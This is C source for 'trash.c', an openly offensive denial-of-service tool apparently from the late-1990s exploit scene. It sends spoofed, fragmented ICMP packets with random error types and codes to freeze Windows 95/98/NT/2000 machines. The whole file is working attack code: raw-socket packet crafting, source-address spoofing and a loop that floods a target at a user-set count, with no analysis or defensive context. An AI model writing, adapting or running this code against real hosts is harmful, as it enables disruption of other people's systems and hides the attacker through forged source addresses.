/* Simple denial of service attack against Windows98/95/2000/NT Machines
   Overview: sends random, spoofed, ICMP packets with randomly choosen
   ICMP error codes.
   Result: Freezes the users machine or a CPU usage will rise to extreme
   lag. tested on:
	2.0.35
	2.2.5-15
	2.2.9
	2.0.36
  You may freely alter this code, but give credit where credit is due 
 */
/* greets go out to:
	|gyr0|, Legio2000 Security Research(c)[for the idea and some of
	the code from bloop.c], codesearc, P.A.T.C.H., ppl in
	#ehforce@unet,  #bitchx@unet, 0l3g, packetstorm security
		-coded by misteri0 - [pr0tocol]
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
void banner(void)
{

  printf("trash.c - misteri0@unet [pr0tocol]\n\n");
  printf("\n\n");
}
void usage(const char *progname)
{
  printf("usage:\n");
  printf("./trash [src_ip] [dst_ip] [# of packets]\n",progname);
  printf("\t[*] [ip_src] :  ex: 205.56.78.0\n");
  printf("\t[*] [ip_dst] :  ex: 201.12.3.76\n");
  printf("\t[*] [number]  : 100\n");
  printf("[pr0tocol] We are all connected by a simple line, just have to know where to cut it [pr0tocol]\n");
}
int resolve( const char *name, unsigned int port, struct sockaddr_in *addr )
{
  struct hostent *host;
  memset(addr,0,sizeof(struct sockaddr_in));
  addr->sin_family = AF_INET;
  addr->sin_addr.s_addr = inet_addr(name);
  if (addr->sin_addr.s_addr == -1)
    {
      if (( host = gethostbyname(name) ) == NULL )
        {
          fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
          return(-1);
        }
      addr->sin_family = host->h_addrtype;
      memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
    }
  addr->sin_port = htons(port);
  return(0);
}
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }

  if (nleft == 1)
    {
      *(u_char *)(&answer) = *(u_char *)w ;
      sum += answer;
    }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer);
}
int send_winbomb(int socket,
                 unsigned long spoof_addr,
                 struct sockaddr_in *dest_addr)
{
  unsigned char  *packet;
  struct iphdr   *ip;
  struct icmphdr *icmp;
  int rc;

  packet = (unsigned char *)malloc(sizeof(struct iphdr) +
                                   sizeof(struct icmphdr) + 8);
  ip = (struct iphdr *)packet;
  icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  ip->ihl      = 5;
  ip->version  = 4;
  // ip->tos      = 2;
  ip->id       = htons(1234);
  ip->frag_off |= htons(0x2000);
  // ip->tot_len  = 0;
  ip->ttl      = 30;
  ip->protocol = IPPROTO_ICMP;
  ip->saddr    = spoof_addr;
  ip->daddr    = dest_addr->sin_addr.s_addr;
  ip->check    = in_cksum(ip, sizeof(struct iphdr));

  icmp->type              = rand() % 15;
  icmp->code              = rand() % 15;
  icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1);
  if (sendto(socket,
             packet,
             sizeof(struct iphdr) +
             sizeof(struct icmphdr) + 1,0,
             (struct sockaddr *)dest_addr,
             sizeof(struct sockaddr)) == -1)
    {
      return(-1);
    }
  ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  ip->frag_off = htons(8 >> 3);
  ip->frag_off |= htons(0x2000);
  ip->check    = in_cksum(ip, sizeof(struct iphdr));
  icmp->type = rand() % 15;
  icmp->code = rand() % 15;
  icmp->checksum = 0;
  if (sendto(socket,
             packet,
             sizeof(struct iphdr) +
             sizeof(struct icmphdr) + 8,0,
             (struct sockaddr *)dest_addr,
             sizeof(struct sockaddr)) == -1)
    {
      return(-1);
    }
  free(packet);
  return(0);
}
int main(int argc, char * *argv)
{
  struct sockaddr_in dest_addr;
  unsigned int i,sock;
  unsigned long src_addr;
  banner();
  if ((argc != 4))
    {
      usage(argv[0]);
      return(-1);
    }

  if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
      fprintf(stderr,"ERROR: Opening raw socket.\n");
      return(-1);
    }

  if (resolve(argv[1],0,&dest_addr) == -1)
    {
      return(-1);
    }
  src_addr = dest_addr.sin_addr.s_addr;
  if (resolve(argv[2],0,&dest_addr) == -1)
    {
      return(-1);
    }
  printf("Status: Connected....packets sent.\n",argv[0]);
  for (i = 0;i < atoi(argv[3]);i++)
    {
      if (send_winbomb(sock,
                       src_addr,
                       &dest_addr) == -1)
        {
          fprintf(stderr,"ERROR: Unable to Connect To luser.\n");
          return(-1);
        }
      usleep(10000);
    }
}